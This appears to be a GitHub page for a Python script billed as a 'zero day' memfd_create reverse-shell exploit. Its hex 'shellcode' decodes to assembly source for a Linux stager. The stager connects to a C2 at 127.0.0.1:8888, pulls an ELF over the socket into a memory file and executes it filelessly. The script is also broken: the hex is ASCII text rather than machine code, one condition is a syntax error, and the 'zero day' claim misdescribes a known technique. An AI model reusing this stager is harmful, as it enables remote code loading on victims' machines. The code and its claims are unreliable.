-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmemfd_shellcode_exploit.py
22 lines (22 loc) · 8.59 KB
/
memfd_shellcode_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'''
For Educational Purposes Only!
As a proof of concept exploit the C2 server for the exploit is set to 127.0.0.1(aka localhost) with the port set to '8888'
This exploit is a zero day exploit that creates a reverse shell through ELF to establish a reverse TCP connection. Exploit is via 'memfd_create'
Creeds for .asm code : Enty8080 & Tomas Globis
PoC Exploit and Python script : Qyfashae
'''
import ctypes
print("FOR EDUCATIONAL PURPOSES ONLY!")
# C2-server, None config via the hex(Shellcode exploit).
# SET: 127.0.0.1:8888
print("WARNING! this script is a Proof of Concept. It will affect the system!")
x = input("Do you want to procceed ? yes or no: ")
if x.lower() == "yes" or x.lower() == "y":
y = input("Are you sure ? yes or no: ")
if y.lower() == "yes" or x.lower() "y":
shellcode_hex = "73 65 63 74 69 6f 6e 20 2e 74 65 78 74 0d 0a 67 6c 6f 62 61 6c 20 5f 73 74 61 72 74 0d 0a 0d 0a 5f 73 74 61 72 74 3a 0d 0a 20 20 20 20 3b 20 53 65 74 20 75 70 20 73 6f 63 6b 65 74 20 66 6f 72 20 66 75 72 74 68 65 72 20 63 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 20 77 69 74 68 20 43 32 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 73 6f 63 6b 65 74 28 41 46 5f 49 4e 45 54 2c 20 53 4f 43 4b 5f 53 54 52 45 41 4d 2c 20 49 50 50 52 4f 54 4f 5f 49 50 29 3b 0d 0a 0d 0a 20 20 20 20 70 75 73 68 20 30 78 32 39 0d 0a 20 20 20 20 70 6f 70 20 20 72 61 78 0d 0a 20 20 20 20 63 64 71 0d 0a 20 20 20 20 70 75 73 68 20 30 78 32 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 69 0d 0a 20 20 20 20 70 75 73 68 20 30 78 31 0d 0a 20 20 20 20 70 6f 70 20 20 72 73 69 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c 0d 0a 0d 0a 20 20 20 20 3b 20 43 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 43 32 20 73 65 72 76 65 72 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 69 6e 74 20 63 6f 6e 6e 65 63 74 28 69 6e 74 20 73 6f 63 6b 66 64 2c 20 7b 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 61 5f 66 61 6d 69 6c 79 3d 41 46 5f 49 4e 45 54 2c 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 69 6e 5f 70 6f 72 74 3d 68 74 6f 6e 73 28 38 38 38 38 29 2c 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 69 6e 5f 61 64 64 72 3d 69 6e 65 74 5f 61 64 64 72 28 22 31 32 37 2e 30 2e 30 2e 31 22 29 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 31 36 29 3b 0d 0a 0d 0a 20 20 20 20 78 63 68 67 20 72 64 69 2c 20 72 61 78 0d 0a 20 20 20 20 6d 6f 76 20 20 72 63 78 2c 20 30 78 30 31 30 30 30 30 37 66 62 38 32 32 30 30 30 32 0d 0a 20 20 20 20 70 75 73 68 20 72 63 78 0d 0a 20 20 20 20 6d 6f 76 20 20 72 73 69 2c 20 72 73 70 0d 0a 20 20 20 20 70 75 73 68 20 30 78 31 30 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 78 0d 0a 20 20 20 20 70 75 73 68 20 30 78 32 61 0d 0a 20 20 20 20 70 6f 70 20 20 72 61 78 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c 0d 0a 0d 0a 20 20 20 20 3b 20 52 65 61 64 20 45 4c 46 20 6c 65 6e 67 74 68 20 66 72 6f 6d 20 73 6f 63 6b 65 74 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 72 65 61 64 28 75 6e 73 69 67 6e 65 64 20 69 6e 74 20 66 64 2c 20 63 68 61 72 20 2a 62 75 66 2c 20 38 29 3b 0d 0a 0d 0a 20 20 20 20 70 6f 70 20 20 72 63 78 0d 0a 20 20 20 20 70 75 73 68 20 30 78 38 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 78 0d 0a 20 20 20 20 70 75 73 68 20 30 78 30 0d 0a 20 20 20 20 6c 65 61 20 20 72 73 69 2c 20 5b 72 73 70 5d 0d 0a 20 20 20 20 78 6f 72 20 20 72 61 78 2c 20 72 61 78 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c 0d 0a 0d 0a 20 20 20 20 3b 20 53 61 76 65 20 6c 65 6e 67 74 68 20 74 6f 20 72 31 32 20 61 6e 64 20 73 6f 63 6b 65 74 20 64 65 73 63 72 69 70 74 6f 72 20 74 6f 20 72 31 33 0d 0a 0d 0a 20 20 20 20 70 6f 70 20 20 72 31 32 0d 0a 20 20 20 20 70 75 73 68 20 72 64 69 0d 0a 20 20 20 20 70 6f 70 20 20 72 31 33 0d 0a 0d 0a 20 20 20 20 3b 20 43 72 65 61 74 65 20 66 69 6c 65 20 64 65 73 63 72 69 70 74 6f 72 20 66 6f 72 20 45 4c 46 20 66 69 6c 65 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 69 6e 74 20 6d 65 6d 66 64 5f 63 72 65 61 74 65 28 22 22 2c 20 30 29 3b 0d 0a 0d 0a 20 20 20 20 78 6f 72 20 20 72 61 78 2c 20 72 61 78 0d 0a 20 20 20 20 70 75 73 68 20 72 61 78 0d 0a 20 20 20 20 70 75 73 68 20 72 73 70 0d 0a 20 20 20 20 73 75 62 20 20 72 73 70 2c 20 38 0d 0a 20 20 20 20 6d 6f 76 20 20 72 64 69 2c 20 72 73 70 0d 0a 20 20 20 20 70 75 73 68 20 30 78 31 33 66 0d 0a 20 20 20 20 70 6f 70 20 20 72 61 78 0d 0a 20 20 20 20 78 6f 72 20 20 72 73 69 2c 20 72 73 69 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c 0d 0a 0d 0a 20 20 20 20 3b 20 53 61 76 65 20 66 69 6c 65 20 64 65 73 63 72 69 70 74 6f 72 20 74 6f 20 72 31 34 0d 0a 0d 0a 20 20 20 20 70 75 73 68 20 72 61 78 0d 0a 20 20 20 20 70 6f 70 20 20 72 31 34 0d 0a 0d 0a 20 20 20 20 3b 20 41 6c 6c 6f 63 61 74 65 20 6d 65 6d 6f 72 79 20 73 70 61 63 65 20 66 6f 72 20 45 4c 46 20 66 69 6c 65 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 76 6f 69 64 20 2a 6d 6d 61 70 28 4e 55 4c 4c 2c 20 73 69 7a 65 5f 74 20 63 6f 75 6e 74 2c 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 50 52 4f 54 5f 52 45 41 44 20 7c 20 50 52 4f 54 5f 57 52 49 54 45 20 7c 20 50 52 4f 54 5f 45 58 45 43 2c 20 4d 41 50 5f 50 52 49 56 41 54 45 20 7c 20 4d 41 50 5f 41 4e 4f 4e 59 4d 4f 55 53 2c 20 30 2c 20 30 29 3b 0d 0a 0d 0a 20 20 20 20 70 75 73 68 20 30 78 39 0d 0a 20 20 20 20 70 6f 70 20 20 72 61 78 0d 0a 20 20 20 20 78 6f 72 20 20 72 64 69 2c 20 72 64 69 0d 0a 20 20 20 20 70 75 73 68 20 72 31 32 0d 0a 20 20 20 20 70 6f 70 20 20 72 73 69 0d 0a 20 20 20 20 70 75 73 68 20 30 78 37 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 78 0d 0a 20 20 20 20 78 6f 72 20 20 72 39 2c 20 72 39 0d 0a 20 20 20 20 70 75 73 68 20 30 78 32 32 0d 0a 20 20 20 20 70 6f 70 20 20 72 31 30 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c 0d 0a 0d 0a 20 20 20 20 3b 20 53 61 76 65 20 61 64 64 72 65 73 73 20 74 6f 20 74 68 65 20 61 6c 6c 6f 63 61 74 65 64 20 6d 65 6d 6f 72 79 20 73 70 61 63 65 20 74 6f 20 72 31 35 0d 0a 0d 0a 20 20 20 20 70 75 73 68 20 72 61 78 0d 0a 20 20 20 20 70 6f 70 20 20 72 31 35 0d 0a 0d 0a 20 20 20 20 3b 20 52 65 61 64 20 45 4c 46 20 66 69 6c 65 20 66 72 6f 6d 20 73 6f 63 6b 65 74 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 72 65 63 76 66 72 6f 6d 28 69 6e 74 20 73 6f 63 6b 66 64 2c 20 76 6f 69 64 20 2a 62 75 66 2c 20 73 69 7a 65 5f 74 20 63 6f 75 6e 74 2c 20 4d 53 47 5f 57 41 49 54 41 4c 4c 2c 20 4e 55 4c 4c 2c 20 30 29 3b 0d 0a 0d 0a 20 20 20 20 70 75 73 68 20 30 78 32 64 0d 0a 20 20 20 20 70 6f 70 20 20 72 61 78 0d 0a 20 20 20 20 70 75 73 68 20 72 31 33 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 69 0d 0a 20 20 20 20 70 75 73 68 20 72 31 35 0d 0a 20 20 20 20 70 6f 70 20 20 72 73 69 0d 0a 20 20 20 20 70 75 73 68 20 72 31 32 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 78 0d 0a 20 20 20 20 70 75 73 68 20 30 78 31 30 30 0d 0a 20 20 20 20 70 6f 70 20 20 72 31 30 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c 0d 0a 0d 0a 20 20 20 20 3b 20 57 72 69 74 65 20 72 65 61 64 20 45 4c 46 20 66 69 6c 65 20 64 61 74 61 20 74 6f 20 74 68 65 20 66 69 6c 65 20 64 65 73 63 72 69 70 74 6f 72 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 73 69 7a 65 5f 74 20 77 72 69 74 65 28 75 6e 73 69 67 6e 65 64 20 69 6e 74 20 66 64 2c 20 63 6f 6e 73 74 20 63 68 61 72 20 2a 62 75 66 2c 20 73 69 7a 65 5f 74 20 63 6f 75 6e 74 29 3b 0d 0a 0d 0a 20 20 20 20 70 75 73 68 20 30 78 31 0d 0a 20 20 20 20 70 6f 70 20 20 72 61 78 0d 0a 20 20 20 20 70 75 73 68 20 72 31 34 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 69 0d 0a 20 20 20 20 70 75 73 68 20 72 31 32 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 78 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c 0d 0a 0d 0a 20 20 20 20 3b 20 45 78 65 63 75 74 65 20 45 4c 46 20 66 72 6f 6d 20 66 69 6c 65 20 64 65 73 63 72 69 70 74 6f 72 0d 0a 20 20 20 20 3b 0d 0a 20 20 20 20 3b 20 69 6e 74 20 65 78 65 63 76 65 61 74 28 69 6e 74 20 64 66 64 2c 20 63 6f 6e 73 74 20 63 68 61 72 20 2a 66 69 6c 65 6e 61 6d 65 2c 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 68 61 72 20 2a 63 6f 6e 73 74 20 2a 61 72 67 76 2c 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 68 61 72 20 2a 63 6f 6e 73 74 20 2a 65 6e 76 70 2c 0d 0a 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 74 20 66 6c 61 67 73 29 3b 0d 0a 0d 0a 20 20 20 20 70 75 73 68 20 30 78 31 34 32 0d 0a 20 20 20 20 70 6f 70 20 20 72 61 78 0d 0a 20 20 20 20 70 75 73 68 20 72 31 34 0d 0a 20 20 20 20 70 6f 70 20 20 72 64 69 0d 0a 20 20 20 20 70 75 73 68 20 72 73 70 0d 0a 20 20 20 20 73 75 62 20 20 72 73 70 2c 20 38 0d 0a 20 20 20 20 6d 6f 76 20 20 72 73 69 2c 20 72 73 70 0d 0a 20 20 20 20 78 6f 72 20 20 72 31 30 2c 20 72 31 30 0d 0a 20 20 20 20 78 6f 72 20 20 72 64 78 2c 20 72 64 78 0d 0a 20 20 20 20 70 75 73 68 20 30 78 31 30 30 30 0d 0a 20 20 20 20 70 6f 70 20 20 72 38 0d 0a 20 20 20 20 73 79 73 63 61 6c 6c"
shellcode_bytes = bytes.fromhex(shellcode_hex)
shellcode_func = ctypes.CFUNCTYPE(None)(ctypes.c_char_p(shellcode_bytes))
shellcode_func()
else:
exit(0)